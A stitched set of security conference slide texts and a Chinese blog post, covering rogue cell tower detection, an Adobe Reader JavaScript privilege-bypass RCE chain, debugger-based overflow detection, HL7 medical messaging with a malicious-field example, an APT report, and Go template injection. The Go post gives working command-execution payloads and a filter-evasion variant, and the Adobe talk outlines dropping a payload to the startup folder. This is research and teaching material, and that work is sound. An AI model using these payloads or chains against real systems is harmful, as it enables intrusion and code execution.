allow for trilateration of the suspected rogue tower. • Receive power and distance are not inversely proportional • Regression formulas were required to be calculated in order to fine tune the results. • Less accurate but still pretty good • TDOA – Time distance of arrival • I don’t have accurate enough timings How do you locate a tower? Trilateration vs Triangulation (I get it, but some people don’t) Triangulation Home Store Work N Triangulation Home Store Work N Triangulation Home Store Work N This is the “angle” in triangulation Triangulation N X,Y X,Y X,Y Triangulation • Looking forward this is a feature I would like to add • Conceptually makes sense, I haven’t tried it out Triangulation Triangulation How do you locate a tower? My detector technically uses trilateration How do you locate a tower? 100ft 300ft 1000ft How do you locate a tower? Detector 1 100ft How do you locate a tower? Detector 1 1000ft How do you locate a tower? Detector 1 Detector 2 How do you locate a tower? Detector 1 Detector 2 How do you locate a tower? Detector 1 Detector 2 Detector 3 How do you locate a tower? Detector 1 Detector 2 Detector 3 Trilateration Home Store Work 1 mile 1 mile 1 mile Trilateration There are scripts that do the math… How do you locate a tower? Power is not linear • More data • More monitoring nodes • Back of the envelope math • Cell towers have different sectors How do you locate a tower? Multipoint trilateration • Drive around collecting lots of data • Gives you way more accurate results • Tested on real towers How do you locate a tower? (There’s probably a tower there) What’s the build? • Raspberry Pi 3, power adapter, SD card (running stock Raspbian) • SIM900 GSM Module • Serial GPS module • Software defined radio (depending where you are) • Scrap wood & hot glue Brace yourself… this is quite literally a hack. SIM 900 Cell Module Scrap wood & hot glue Raspberry Pi GPS Module Serial to USB Software defined radio (USB TV Tuner) What’s does it cost? • $10 Raspberry Pi Zero • $5 Wireless adapter • $5 USB hub • $5 SD card (running stock Raspbian) • $27 SIM900 GSM Module • $16 Serial GPS module (Optional) • Free? Scrap wood & hot glue ------------ $52 Total SIM900 • SIM900 • Seven towers with the highest signal • Gives you a ton of information via a serial connection • No SIM card is required for engineering mode • Does not sniff traffic SIM900 or Field test mode • Many phones will let you see this information • iPhones • Pretend to dial a number • *3001#12345#* • Hit call • Android • Field test mode can vary phone to phone • Google for apps that let you see this info SIM900 SIM900 ARFCN Rxl bsic Cell ID MCC MNC LAC GPS Serial • Adafruit Ultimate GPS module • Fixes position quickly. • Good indoor reception • Works exactly how you would expect GPS Serial NMEA Data - National Marine Electronics Association GPS Serial Raspberry Pi 3 • Stock Raspbian OS (debian for pi) • Pi 3 has enough power to run a SDR • Has four USB ports for serial adapters • Easily powered by a USB battery pack • $20 Software defined radio • Wide range of frequencies • Github: Gr-Gsm • Can listen to raw GSM traffic*** • See all the raw frames • Not necessary for locating cell towers • Provides deeper insights TV Tuner WARNING!!! Data collection: • Everything dumps to a SQLite database for later use Wireless CTF (Capture the Flags) Let’s make it pretty: • QGIS • Free and Open Source Geographic Information System • IDW – Inverse Distance Weighting • OpenLayers Plugin – Maps & GIS data • Python command line automation • Makes it very easy to visualize Wireless CTF (Capture the Flags) Let’s make it pretty: • QGIS Python Console • Once you’re comfortable making maps manually you can begin automatically generating them Wireless CTF (Capture the Flags) Let’s make it pretty: Wireless CTF (Capture the Flags) There’s a disturbance in the force • How do you get alerts? • Email • SMS - Twilio • Push notifications - PushOver Wireless CTF (Capture the Flags) There’s a disturbance in the force • Your detector goes off now what? • Turn off your phone • Start looking at the data • Go on a road trip Want to help? Questions? defconjusticebeaver@gmail.com RagingSecurity.Ninja
pdf
Abusing Adobe Reader’s JavaScript APIs Brian Gorenc, Manager, Vulnerability Research AbdulAziz Hariri, Security Researcher Jasiel Spelman, Security Researcher Agenda •  Introduction •  Understanding the Attack Surface •  Vulnerability Discovery •  Constructing the Exploit Introduction Introduction 4 HP Zero Day Initiative AbdulAziz Hariri - @abdhariri Security Researcher at the Zero Day Initiative Root cause analysis, vulnerability discovery, and exploit development Jasiel Spelman - @WanderingGlitch Security Researcher at the Zero Day Initiative Root cause analysis, vulnerability discovery, and exploit development Brian Gorenc - @maliciousinput Head of Zero Day Initiative Organizer of Pwn2Own Hacking Competitions Research starting in December 2014 Bug Hunters Patched Vulnerabilities CVE-2015-5085, CVE-2015-5086, CVE-2015-5090, CVE-2015-5091, CVE-2015-4438, CVE-2015-4447, CVE-2015-4452, CVE-2015-5093, CVE-2015-5094, CVE-2015-5095, CVE-2015-5101, CVE-2015-5102, CVE-2015-5103, CVE-2015-5104, CVE-2015-5113, CVE-2015-5114, CVE-2015-5115, CVE-2015-5100, CVE-2015-5111, CVE-2015-4435, CVE-2015-4441, CVE-2015-4445, CVE-2015-3053, CVE-2015-3055, CVE-2015-3057, CVE-2015-3058, CVE-2015-3065, CVE-2015-3066, CVE-2015-3067, CVE-2015-3068, CVE-2015-3071, CVE-2015-3072, CVE-2015-3073, CVE-2015-3054, CVE-2015-3056, CVE-2015-3061, CVE-2015-3063, CVE-2015-3064, CVE-2015-3069, CVE-2015-3060, CVE-2015-3062 Unpatched Vulnerabilities ZDI-CAN-3051, ZDI-CAN-3050, ZDI-CAN-3049, ZDI-CAN-3048, ZDI-CAN-3047, ZDI-CAN-3046, ZDI-CAN-3043, ZDI-CAN-3036, ZDI-CAN-3022, ZDI-CAN-3021, ZDI-CAN-2019, ZDI-CAN-3018, ZDI-CAN-3017, ZDI-CAN-3016, ZDI-CAN-3015, ZDI-CAN-2998, ZDI-CAN-2997, ZDI-CAN-2958, ZDI-CAN-2816, ZDI-CAN-2892, ZDI-CAN-2893 …more to come. 5 Understanding the Attack Surface Understanding Attack Surface 7 Prior research and resources •  The life of an Adobe Reader JavaScript bug (CVE-2014-0521) - Gábor Molnár •  First to highlight the JS API bypass issue •  The bug was patched in APSB14-15 and was assigned CVE-2014-0521 •  According to Adobe, this could lead to information disclosure •  https://molnarg.github.io/cve-2014-0521/#/ •  Why Bother Assessing Popular Software? – MWR Labs •  Highlights various attack vectors on Adobe reader •  https://labs.mwrinfosecurity.com/system/assets/979/original/Why_bother_assessing_popular_software.pdf Understanding Attack Surface 8 ZDI Research Stats •  Primary Adobe research started internally in December 2014 •  We were not getting many cases in Reader/Acrobat •  Main goal was to kill as much bugs as possible •  Internal discoveries varied in bug type –  JavaScript API Restriction Bypasses –  Memory Leaks –  Use-After-Frees –  Elevation of Privileges –  etc. Understanding Attack Surface 9 Insights Into Reader’s JavaScript API’s •  Adobe Acrobat/Reader exposes a rich JS API •  JavaScript API documentation is available on the Adobe website •  A lot can be done through the JavaScript API (Forms, Annotations, Collaboration etc..) •  Mitigations exist for the JavaScript APIs •  Some API’s defined in the documentation are only available in Acrobat Pro/Acrobat standard •  Basically JavaScript API’s are executed in two contexts: –  Privileged Context – Only Trusted functions can call it (app.trustedFunction) –  Non-Privileged Context Understanding Attack Surface 10 Insights Into Reader’s JavaScript API’s •  Privileged vs Non-Privileged contexts are defined in the JS API documentation: •  A lot of API’s are privileged and cannot be executed from non-privileged contexts: Understanding Attack Surface 11 Insights Into Reader’s JavaScript API’s •  Privileged API’s warning example from a non-privileged context: Understanding Attack Surface 12 Folder-Level Scripts •  Scripts stored in the JavaScript folder inside the Acrobat/Reader folder •  Used to implement functions for automation purposes •  Contains Trusted functions that execute privileged API’s •  By default Acrobat/Reader ships with JSByteCodeWin.bin •  JSByteCodeWin.bin is loaded when Acrobat/Reader starts up •  It’s loaded inside Root, and exposed to the Doc when a document is open Understanding Attack Surface 13 Decompiling •  JSByteCodeWin.bin is compiled into SpiderMoney 1.8 XDR bytecode •  JSByteCodeWin.bin contains interesting Trusted functions •  Molnarg was kind enough to publish a decompiler for SpiderMonkey –  https://github.com/molnarg/dead0007 –  Usage: ./dead0007 JSByteCodeWin.bin > output.js –  Output needs to be prettified –  ~27,000 lines of Javascript Vulnerability Discovery Vulnerability Discovery 15 JavaScript Method/Property Overloading •  __defineGetter__ and __defineSetter__ Vulnerability Discovery 16 JavaScript Method/Property Overloading •  __proto__ Vulnerability Discovery 17 Code Auditing for Overloading Opportunities •  Search for ‘eval’ Vulnerability Discovery 18 Code Auditing for Overloading Opportunities •  Search for ‘app.beginPriv(“ Vulnerability Discovery 19 Achieving System-Level eval() •  Overload property access with a custom function Vulnerability Discovery 20 Executing Privileged APIs •  Replace a property with a privileged function Vulnerability Discovery 21 Vulnerability Chaining •  Set up the system-level eval such that it executes the bulk of the payload •  Create the replacement attribute such that it now calls a privileged API •  Trigger the call Vulnerability Discovery 22 Proof of Concept – CVE-2015-3073 Constructing the Exploit Constructing the exploit 24 Overview •  Research triggered from https://helpx.adobe.com/security/products/reader/apsb14-15.html: •  Challenge: Gain Remote Code Execution through the bypass issue •  We might be able to do that through the JS API’s that we know about Constructing the exploit 25 Because documentation sucks.. •  We needed to find a way to dump a file on disk •  The file can be of any type (try to avoid restrictions) •  Let’s have a look at the Collab object…through the JS API from Adobe: •  Through the console: Constructing the exploit 26 “If you want to keep a secret, you must also hide it from yourself.” – G. Orwell •  From all the 128 undocumented methods, the Collab.uri* family is specifically interesting: Constructing the exploit 27 “The more you leave out, the more you highlight what you leave in.” - H. Green •  Too good to be true, so I consulted uncle Google before digging more: Constructing the exploit 28 Show me what you got... •  Quick overview of the interesting methods: Constructing the exploit 29 •  Overview of the Collab.uri* API’s: –  The API’s are used for “Collaboration” –  uriDeleteFolder/uriDeleteFile/uriPutData/uriCreateFolder are privileged API’s –  uriEnumerateFiles is NOT privileged –  The Collab.uri* methods take a URI path as an argument (at least) –  The path expected should be a UNC path –  The UNC path should start with smb:// or file:// •  The API’s fail to: –  Sanitize the UNC path (smb://localhost/C$/XXX works) –  Check the filetype of the filename to be written on disk (in the case of uriPutData) –  Check the content of oData object to be dumped (in the case of uriPutData) Constructing the exploit 30 •  What we have so far: –  We can dump files on disk using the Collab.uriPutData() method –  The file contents that we want to dump should be passed as the oData object –  We can attach files in PDF documents and extract the contents –  We should chain the uriPutData call with one of the bypasses that we discussed earlier Then what ? How can we get RCE? Actually there are two obvious ways.. Constructing the exploit 31 Gaining RCE •  First way…a la Vupen: Basically write a file to the startup and wait for a logoff/logon ! •  Second way is writing a DLL that would be loaded by Adobe Acrobat: Constructing the exploit 32 Putting it all together (Adobe Acrobat Pro) 1.  Attach our payload to the PDF 2.  Create a JS that would execute when the document is open 3.  JS is composed of: 1.  Extraction of the attachment 2.  Bypass JS privileges 3.  Execute Collab.uriPutData to output our payload (startup/dll) Extract Attachment Bypass JS Privileges Call uriPutData with the extracted attachment RCE Constructing the exploit 33 Putting it all together (Adobe Acrobat Pro) DEMO Thank you
pdf
0x0000 a great fool in my life i have been i have squandered 'til pallid and thin hung my head in shame and refused to take blame for the darkness i know i've let win j knapp VulnCatcher: Fun with Programmatic Debugging atlas atlas@r4780y.com http://atlas.r4780y.com 0x0001 Who am I ● Scattered past in computing ● Insecurity Researcher ● Captain 1@stplace ● Father/Husband ● Curious fellow (sleepless too) 0x0100 Programmatic Debugging ● Debugging other processes from your (my) favorite language ● Accessing and Influencing CPU and Memory state of a process in a programmatic fashion – Logic and other language constructs 0x0101 Explosion ● Several key programmatic debuggers: – PyDBG – Pedram (part of Pai Mei) – Immunity Debugger – Immunity Sec – Vtrace – Invisigoth (Vivisect) – NoxDbg – Lin0xx (first Ruby debugger) (This talk will focus on Vtrace) 0x0102 What can we do? ● Live Patching? Fun with Hex – LivePatch ● Live Dumping? – LiveOrganTransplant ● Process Grep? – Visi's memgrep ● Vampyre Jack SSHD – In progress by drb and myself 0x0103 What can we do? ● everything else that GDB or Olly can do, only better ● interactive python debugger – especially nice with searchMemory() and traceme() – automate frame interpretation ● what do you want to do? 0x0200 Vulnerabilities ● what can we do to encourage vulns to suddenly appear? – fuzzing on its own is so ghetto! ● rather, what can we watch/do to catch indications of vulnerability? 0x0300 Buffer Overflows? ● custom Breakpoints at key functions ● at break: – Stack-Analysis for Parameters – Buffer-Analysis for Size ● more empirical than static analysis 0x0301 vtrace attach from vtrace import * me = getTrace() me.attach(<pid>) me.addBreakpoint(MemcpyBreaker(me)) me.setMode("RunForever", True) me.run() 0x0302 memcpy() ● memccpy()/mempcpy()/memmove() – check length of dest (%ESP + 0x4) ● HEAP (dlmalloc), check length field immediately before the pointer to the dest – heapptr – 4 – not always accurate.... copying partial chunks ● Stack, check distance to RET – (%ebp + 4) – dest ● oh, if only that simple... – compare with Copy Size (%ESP + 0xc) 0x0303 MemcpyBreaker class MemcpyBreaker(BreakpointPublisher): def __init__(self): ... def notify(self, event, trace): eip=trace.getProgramCounter() esp=trace.getRegisterByName('esp') ebp=trace.getRegisterByName('ebp') copylen=trace.readMemoryFormat((esp + 0xc),AddrFmt)[0] retptr =trace.readMemoryFormat((esp + 0x0),AddrFmt)[0] dest =trace.readMemoryFormat((esp + 0x4),AddrFmt)[0] src =trace.readMemoryFormat((esp + 0x8),AddrFmt)[0] destlen = getBufferLen(dest) if (copylen >= destlen): self.publish(BOFException(...)) 0x0400 EBP-FREE SUBS? ● some subs don't start new stack frames using %ebp – Windows Libraries ● trouble measuring stack buffer length 0x0401 EBP-FREE SUBS? ● some disassembly required... ● possible solutions: – Initial ESP Offset for Stack Allocation – Sub Epilog Analysis ● ret $0x34 ● add $0x34, %esp – Sub Tracing for %esp Mods ● 'til ret do us part ● or jmp – OR.... Stack Backtrace for RET 0x0402 Stack Backtracing – start at %ESP – loop up the stack by 4 bytes ● if the current 32-bit number is valid address (maps) – look for a “call” opcode immediately before the address ● if so, is the target address valid? ● is it a call to memcpy or a call to a jmp to memcpy ● On Linux, does it target PLT? – Once found, that location on the stack becomes RET – Subtract the stack variable from the newly discovered RET location to find the length 0x0403 findRET() def findRET(trace, stackptr = 0): cont = True stackptr = trace.getRegisterByName('esp') while cont: stackptr -= 4 address = trace.readMemoryFormat(stackptr, AddrFmt)[0] mymap = trace.getMap(address)) if mymap != None: # valid address? buf = trace.readMemory(address-8, 8) for x in range(1,7): try: op = Opcode(buf[x:]) if (op.off == 8-x and op.opcode[0] == 'c'): target = self.getOperandValue(op.dest) if trace.getMap(target) != None: # Possibly Check the Target of the call # * Costly and not entirely accurate return address (check the latest atlasutils for a much improved version) 0x0404 findNextHeap() def findNextHeap(me, address): chain = getConnectedChain(me) for x in xrange(1,len(chain)): if chain[x] > address and chain[x-1] <= address: return chain[x] 0x0405 getConnectedChain() ● Finds HEAP memory map ● Searches for the first HEAP chunk ● Traverses the forward pointers – Keeps track and returns them as a list ● Works on Linux, not tried on Windows yet ● Look for it in the next release of atlasutils 0x0500 strcpy()/strncpy() ● strcpy – compare length of source and destination – dest pointer can be found at (%ESP + 0x4) – source pointer can be found at (%ESP + 0x8) 0x0501 strcpy()/strncpy() ● strncpy – compare length of copy (size_t) to destination – dest pointer can be found at (%ESP + 0x4) – size_t can be found at (%ESP + 0xc) 0x0502 strcat()/strncat() ● similar to strcpy/strncpy ● copies source and destination together ● difficult for coders to get right! (ie. often exploitable) ● best to look into logic surrounding strcat() limiting the size of both buffers 0x0600 printf() – vfprinf covers printf and fprintf in Linux ● what's on the stack for format string? ● %ESP + 0x8 – does it live in a likely spot? ● Heap? Stack? .rodata? – parse format string ● are there “%” characters in it? 0x0601 sprintf() – vsprintf covers sprintf in Linux ● what's on the stack for format string? ● %ESP + 0x8 – does it live in a likely spot? ● Heap? Stack? .rodata? – parse format string ● are there “%” characters in it? ● how long of a string can we create? 0x0602 snprintf() – vsnprintf covers snprintf in Linux ● what's on the stack for format string? ● %ESP + 0x8 – does it live in a likely spot? ● Heap? Stack? .rodata? – parse format string ● are there “%” characters in it? ● how long will the format string allow? ● how long can we write? (%ESP + 0xc) 0x0700 scanf/sscanf/fscanf ● parse format string – scanf's is located at %ESP+0x4 – sscanf's and fscanf's are at %ESP + 0x8 ● are there any “%s”? ● if so, where are we storing them? – must check each string ● %45s against a buffer with 32 bytes 0x0800 gets()/fgets() ● lol. ● Just alert. Period. 0x0801 getc()/fgetc() ● loop for getc ● how big is the loop? ● simpler just to identify in disassembly and write up... analysis for which loop mechanism is used is more complex than just eye-balling it. 0x0900 memchr()/memrchr() ● check size_t against length of string as in memcpy ● may be used to look past a buffer as a potential target or source of data 0x0a00 rep stos/rep movs ● special case. ● need to disassemble code to hook these. – Set breakpoint one instruction before – stepi() to reach start of opcode – Check %ECX against buffer length 0x0b00 Format Strings ● used with printf/scanf families ● %c = 1 byte ● %* = * bytes (depends on the size) ● %#d = at least # bytes, possibly more! ● See man page for scanf or printf for more 0x0c00 Are there more? ● you tell me! ● programmatic debugging is fresh turf for new ideas. ● “The force runs strong in your family... Pass on what you have learned...” 0x0d00 choops ● hola y gracias amigos – Dios – jewel – bug – ringwraith – menace – 1@stplace – invisigoth and K
pdf
Medical device security -- Anirudh Duggal Disclaimer: The views in the presentation are entirely my own and do not reflect the views of my employer. Before we begin • Thank you HITCON • Specially thank the organizing team • Jal , Pineapple, Turkey, Shanny, Shang and all the people whom I’ve troubled till now About me • Senior Software Engineer at Philips health tech • anirudhduggal@gmail.com • Sustainability enthusiast • Interested in medical devices, IOT devices and hardened OS • Part of Null community Nullcon CFP is out! Agenda • What is a medical device? • Range of medical devices • Medical record value and breaches • Challenges • Besides challenges • Hl7 messaging What is a medical device? • A medical device is an instrument, apparatus, implant, in vitro reagent, or similar or related article that is used to diagnose, prevent, or treat disease or other conditions, and does not achieve its purposes through chemical action within or on the body (which would make it a drug) -- wiki Range of devices Cost: 5 2$ (50% off) Fits in pocket Cost: can reach up to 3 million $ Size: about the size of a truck (don’t ask the weight ;) ) And the memory A hospital data center… A simple DIY device And………. • Patient monitors • Insulin monitors • Pacemakers • Heart rate devices • “smart bands” • Home monitoring solutions Rapid Innovation • Everyone wants mobility (patient, doctors, nurses, clinicians) • Diagnostics • Big data analysis • Information gathering Why hospitals and medical devices? • Easy targets • Many entry points • Good payoff • Medical records The impact of an attack • Privacy • Financial – a medical record fetches 32x a credit card record • Physical? Lets take a case study Analyzing a hospital scenario A typical hospital scenario EMR (electronic medical record) Patient monitors LAN / WIFI/ Bluetooth/ Doctor's PC / Secretary PC Doctor's Mobile/ Nurse mobile Other hospitals Other systems A typical patient monitor Lan / WiFI TCP / IP HL7 Serial ports EMR Other peripheral devices USB Diving into medical devices • They have an OS (sometimes  ) • They have connectivity ( Fuzzers ;) ) • They do have logical errors • Protocols • Compare the low end devices to IOT infrastructure • Can crash / misbehave • Known to have APT’s discovered in them Trapx discovered a APT recently – google Potential entry points • Wifi / Lan • Serial ports • USB - Firmware • The sensors • Keyboard / mouse • Firewire • Protocols Challenges with these devices • Patching • Servicing • Uptime • Cost • Longevity Technical issues observed on the ground • Lack of encryption between the devices • Lack of skilled personnel From a manufacturer perspective • Support – 10 years and counting! • How do you define a device to be vulnerable? • Security – a joint exercise between hospitals and the vendors From a hospital perspective • If it works – its all good • Cybersecurity needs more investment and skilled individuals • Vendors should take care of all security issues • “why will someone attack a hospital computer – go hack NASA” • “we are doctors, not cyber warriors” Hospitals need to understand • Cybersecurity != more money BUT Cybersecurity == better functioning • Risks of a cyber attack • Patching is a problem, but absolutely worth it • Having IDS / IPS • Say no to outdated infrastructure (this is changing rapidly  ) Securing these devices • Having a policy in place – cybersecurity policy anyone ? • DO NOT CONNECT THESE DEVICES TO THE INTERNET unless intended • Make sure the systems are patched • Know your hospital ( public and private networks anyone? ) Policies / agencies in place • FDA • HIPAA $100 to $50,000 per violation (or per record), with a maximum penalty of $1.5 million per year for violations of an identical provision My opinion • We need better regulations - now! • Awareness • A working group towards security (lets take things global too ) • More research on the APT and exploits What is HL7? • Healthcare level standards • Most popular in healthcare devices (HL7 2.x) • Quite old – designed in 1989 • FHIR is the next gen HL7 2.x • Most popular HL7 version • New messages / fields added HL7 (only for v2 messaging and CDA) HL7 Things to know • MSH – message header segment defines the delimiters e.g. MSH|^~\& • The primary delimiter is | and sub delimiters in the order they are present after | • The standards define the message structure – not the implementation An HL7 message MSH|^~\&|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5 EVN||200605290901||||200605290900 PID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN PV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||67890^GRAINGER^LUCY^X^^^MD^0010^UAMC^L|MED|||||A0||13579^POTT ER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900 OBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F OBX|2|NM|^Body Weight||79|kg^Kilogram^ISO+|||||F AL1|1||^ASPIRIN DG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A MSH|^~\&|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5 EVN||200605290901||||200605290900 PID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN PV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||67890^GRAINGER^LUCY^X^^^MD^0010^UAMC^L|MED|||||A0||13579^POTT ER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900 OBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F OBX|2|NM|^Body Weight||79|kg^Kilogram^ISO+|||||F AL1|1||^ASPIRIN DG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A Message type / event type Message header information MSH|^~\&|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5 EVN||200605290901||||200605290900 PID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN PV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||67890^GRAINGER^LUCY^X^^^MD^0010^UAMC^L|MED|||||A0||13579^POTT ER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900 OBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F OBX|2|NM|^Body Weight||79|kg^Kilogram^ISO+|||||F AL1|1||^ASPIRIN DG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A Patient name Physician name Patient identifier Potential Entry Point MSH|^~\&|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5 EVN||200605290901||||200605290900 PID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN PV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||67890^GRAINGER^LUCY^X^^^MD^0010^UAMC^L|MED|||||A0||13579^POTT ER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900 OBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F OBX|2|NM|^Body Weight||79|kg^Kilogram^ISO+|||||F AL1|1||^ASPIRIN DG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A MSH|^~\&|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5 EVN||200605290901||||200605290900 PID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN PV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||or my evil script |MED|||||A0||13579^POTTER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900 OBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F OBX|2|NM|^Body Weight||79999999999999999999999999999999999999999999|kg^Kilogram^ISO+|||||F AL1|1||^ASPIRIN DG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A Time for a demo  Questions Thank you! • Minatee Mishra • Ben Kokx • Christopher Melo • Sanjog Panda • Ajay Pratap Singh • Geethu Aravind • Michael Mc Neil • Shashank Shekhar • Madhu • Jiggyasu Sharma • Pardhiv Reddy • My uptown friends ;)
pdf
Charged by an Elephant An APT Fabricating Evidence to Throw You In Jail Tom Hegel Senior Threat Researcher tomhegel Juan Andres Guerrero-Saade Senior Director of SentinelLabs juanandres_gs Planted Modi Assassination Plot Ltr_1804_to_CC.pdf Planted ‘Domestic Chaos’ Plans Document Ltr_2_Anand_E.pdf 11 Days Before Search and Seizure Indian State-Nexus Activity Where are they now? Focus on cloud, remote services / mobile. WHERE ARE THEY NOW? Missing Forensic Artifacts When Digital Evidence Goes Wrong… Spyware for Intelligence vs Law Enforcement? Importance of Social Institutions Importance of Social Institutions Thank You Tom Hegel Senior Threat Researcher tomhegel Juan Andres Guerrero-Saade Senior Director of SentinelLabs juanandres_gs
pdf
Golang中的SSTI Go的标准库⾥有两个模板引擎, 分别是 text/template 和 html/template , 两者接⼝⼀致, 区别在于 html/template ⼀般⽤于⽣成 HTML 输出, 它会⾃动转义 HTML 标签, ⽤于防范如 XSS 这样的攻击。 0x01 init... 从⼀个题⽬⼊⼿: 先把题⽬的代码敲出来。 package main import ( "bufio" "html/template" "log" "os" "os/exec" ) type Program string func (p Program) Secret(test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } func (p Program) Label(test string) string { return "This is " + string(test) } func main() { reader := bufio.NewReader(os.Stdin) text, _ := reader.ReadString('\n') tmpl, err := template.New("").Parse(text) if err != nil { log.Fatalf("Parse: %v", err) } tmpl.Execute(os.Stdin, Program("Intigriti")) } 代码量很少, 很明显的模板注⼊, 问题是怎么构造 payload 去调⽤ Secret ⽅法执⾏命令。 0x02 loading... 快捷键进⼊ html/template 的代码时 vscode ⾃动打开了官⽅⽂档地址, 代码路径也提示了, 两者结合起来看。 https://pkg.go.dev/html/template?utm_source=gopls ⼀些从⽂档中了解到的常识: . 模板的占位符为 {{语法}} , 这⾥的 语法 官⽅称之为 Action , 其内部不能有换⾏,但可以写注释,注释⾥可以有换⾏。 . 特殊的 Action : {{.}} ,中间的点表示当前作⽤域的当前对象, 类似 JAVA 中的 this 关键字。 . Action 中⽀持定义变量,命名以 $ 开头,如 $var = "test" ,有⼀个⽐较特殊的变量 $ ,代表全局作⽤域的全局变量,即在调⽤模板引 擎的 Execute() ⽅法时定义的值,如 {{$}} 在上⾯的题⽬中获取到的值就是 Intigriti . . Action 中内置了⼀些基础语法,如常⻅的语法,如判断 if else ,或且⾮ or and not ,⼆元⽐较 eq ne ,输出 print printf println 等等,除此之外还有⼀些常⽤的编码函数,如 urlescaper,attrescaper,htmlescaper 。 . Action 中⽀持类似 unix 下的管道符⽤法, | 前⾯的命令会将运算结果(或返回值)传递给后⼀个命令的最后⼀个位置。 有⼀些前置知识后结合代码再看,测试单元⾥⾯能找到很多具体的⽤法。 ⽐如内部⽅法调⽤: 查看对应的⽅法 参数名参数类型都对得上,在题⽬中进⾏尝试: 0x03 loaded Done, 上⾯提到 Action 中是⽀持管道符的, 所以答案可以是: {{.Secret "whoami"}} {{"whoami"| .Secret}} 0x04 in the end ⼀些思考: 1.假设代码中没有可命令执⾏的函数是否可以通过模板本身⽀持的语法到 rce ? 不可以, 模板本身⽀持的语法很有限, 并不⽀持动态导⼊其他标准库并调⽤( Go 是编译型语⾔...),不过可以关注⼀下其他函数,⽐如 ⽂件读写,⽹络请求等等,条条⼤路通 RCE ... 2.⽩盒怎么挖掘? 关注代码是否导⼊ text/template 或 html/template ,解析的⽂本或⽂件内容是否外部可控。值得⼀提的是 gosec 有关注 html/template 的安全问题,但只是检测输出的内容是否在做了转义,没有关注模板注⼊的问题,默认是扫不到这个漏洞的,基于原代 码修改⼀下即可完成⽩盒扫描插件的编写。 3.⿊盒怎么挖掘? 引擎中⽆⽹络请求相关的⽅法,⽆法通过dnslog/httplog的⽅式盲测漏洞,但其本身⽀持⼀些编码函数,有回显的场景可通过表达式判 断是否存在漏洞。 payload 如下,执⾏后回显的值为 95272022 {{println 0B101101011011011110001010110}} rcefuzzer在配置 paramPollution.expr 中加⼀条 payload 即可 {{println 0B101101011011011110001010110}}|95272022 4.对抗相关 该模板引擎的占位符本身和其他语⾔是重叠的, 这个强特征在流量设备中应该有已知规则会拦截; 攻击⽅则可借助内置的⼀些函数 就⾏敏感信息规避,⽐如上述题⽬中的答案还可以写成: {{/*"}}{{"*/}}{{- printf `%sam%s` `who` `i`| .Secret -}}{{/*"}}{{"*/}} 多添加 {{ 和 }} ,扰乱正则匹配。 知识⾯覆盖有限, 以上提到的所有内容均可能有误,orz ⽇常被⾃⼰菜哭。
pdf
